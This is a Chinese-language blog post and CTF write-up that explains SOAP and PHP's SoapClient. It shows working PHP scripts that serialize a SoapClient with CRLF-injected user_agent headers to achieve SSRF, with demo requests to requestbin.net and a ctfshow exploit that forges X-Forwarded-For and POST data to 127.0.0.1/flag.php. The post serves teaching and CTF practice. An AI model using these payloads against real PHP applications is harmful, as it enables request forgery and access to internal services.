SoapClient与CRLF的组合攻击–SOAP扩展

/ 0评 / 0

SOAP的基础知识

SOAP的基本概念

要了解什么是SOAP,我们首先就要了解一下什么是WebService

WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。比如,我们在Windows Server服务器上有一个C#.Net开发的应用A,在Linux上有一个Java开发的应用B,B应用要调用A应用,或者是相互调用。用于查看对方的业务数据。

而WebService就是处于对上面用于查看对方业务数据等类似需求而定义的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每一种语言都有自己的webservice实现框架。

SOAP作为webservice三要素(SOAP(Simple Object Access Protocol)、WSDL(Web Services Description Language)、UDDI(Universal Description Discovery andIntegration))之一:WSDL用来描述如何访问具体的接口,UDDI用来管理,分发,查询WebService,SOAP可以和现存的许多英特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务器之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传输的格式。

SOAP消息基本是从发送端到接收端的单向传输,但它们常常结合起来执行类似的请求/应答模式。

SOAP的组成

一条SOAP消息的组成:一个包含有一个必须的SOAP的分装包,一个可选的SOAP标头和一个必须的SOAP体块的XML文档。

SOAP消息格式:

<?xml
 version="1.0"?>
<soap:Envelope
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
 
<soap:Header>
</soap:Header>
 
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>

</soap:Envelope>

其中

Envelop:标识XML文档,具有名称空间和编码详细信息。

Header:包含标题信息,如内容类型和字符集等。

Body:包含请求和响应信息。

Fault:错误和状态信息。

PHP中的SoapClient类

PHP的SOAP扩展可以用来提供和使用WebServices,这个扩展实现了6个类。其中有三个高级类:SoapCilent、SoapServer和SoapFualt,和三个低级类:它们是SoapHeader、SoapParam和SoapVar。

我们的重点集中在SoapClient类,其会导致CRLF(Carriage Return/Line Feed)注入问题的产生。

CRLF注入攻击原理

PHP的SOAP扩展的SoapClient类是用来创建Soap数据报文,与WSDL接口进行交互的,同时这个类下也有反序列化中常常用到的 __call()魔术方法。

该类函数的构造如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式( 第一个参数设置为null)下,则必须设置locationuri选项。其中location是要将请求发送到SOAP服务器的URL,而uri是SOAP服务的目标命名空间。

我们再跟进$options

其中一个选项为user_agent可以让我们自定义User-Agent

这里就是我们可以利用的地方。

在http的header里面有一个重要的Content-TypeContent-Length。如果我们想进行CRLF注入,就必须要控制这两项才能实现。而User-Agent就位于这两项之上,所以我们可以进行覆盖。对于Content-Type,我们可以利用CRLF发送post请求,那么要求它们为 application/x-www-form-urlencode

知道上述两个参数的含义后,我就很快可以构造出可以利用的payload。

我们可以设置第一个参数为null,然后第二个参数的location设置为target_url

<?php
$a = new SoapClient(null,array('location'=>"http://xxx.xxx.xxx", 'uri'=>"123"));
echo serialize($a);
?>

当我们把上述脚本得到的序列化进行反序列化,并执行一个SoapClient没有的成员函数时,会自动调用该类的 __call() 方法,然后向 target_url 发送一个SOAP请求,并且 uri 选项是我们可控的地方。

demo

我们首先使用requestbin来进行测试

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://requestbin.net/r/1jm1cxz1'));
$b = serialize($a);
echo urlencode($b);

我们可以看到,SOAPAction处可控,可以把 \x0d\x0a注入到SOAPAction,POST请求的header就可以被控制了,也可以用来执行我们想要的东西

另一方面,我们可以配合User-Agent来执行控制POST的数据

<?php
$target = 'http://requestbin.net/r/xzlkkpxz';
$post_string = 'token=y4tacker';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

这样我们就成功注入了我们想要的结果

CRFL攻击实例

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。

这里以ctfshow上面的一道题目作为例子

<?php
highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
//flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

在这道题中 $vip->getFlag();因为调用了类中没有的方法所以会导致__call的执行

在本题的环境中,由于使用了 Cloudflare 代理导致,Cloudlare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用 array_pop 后我们取得的始终是固定的服务器IP,此时我们无论如何对XFF头进行修改都无济于事。

因为我们需要使用 SoapClient 与 CRLF 是实现 SSRF 访问 127.0.0.1/flag.php,即可绕过 Cloudfare 代理。

exp ()如下:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
    'UM_distinctid:1752c100454d4a-0d9b55dd4784ef-333376b-144000-1752c100455c33'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'airtail^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

接着再访问 flag.txt就可以得到flag

其他

利用

和其他漏洞一样,我们可以通过修改参数的值,来达到进行类如SQL注入、命令注入等攻击。

修复

如CRLF的含义所言,对 /r、/n等进行过滤,避免污染header。

参考链接

从一道题学习SoapClient与CRLF组合拳

发表评论

电子邮件地址不会被公开。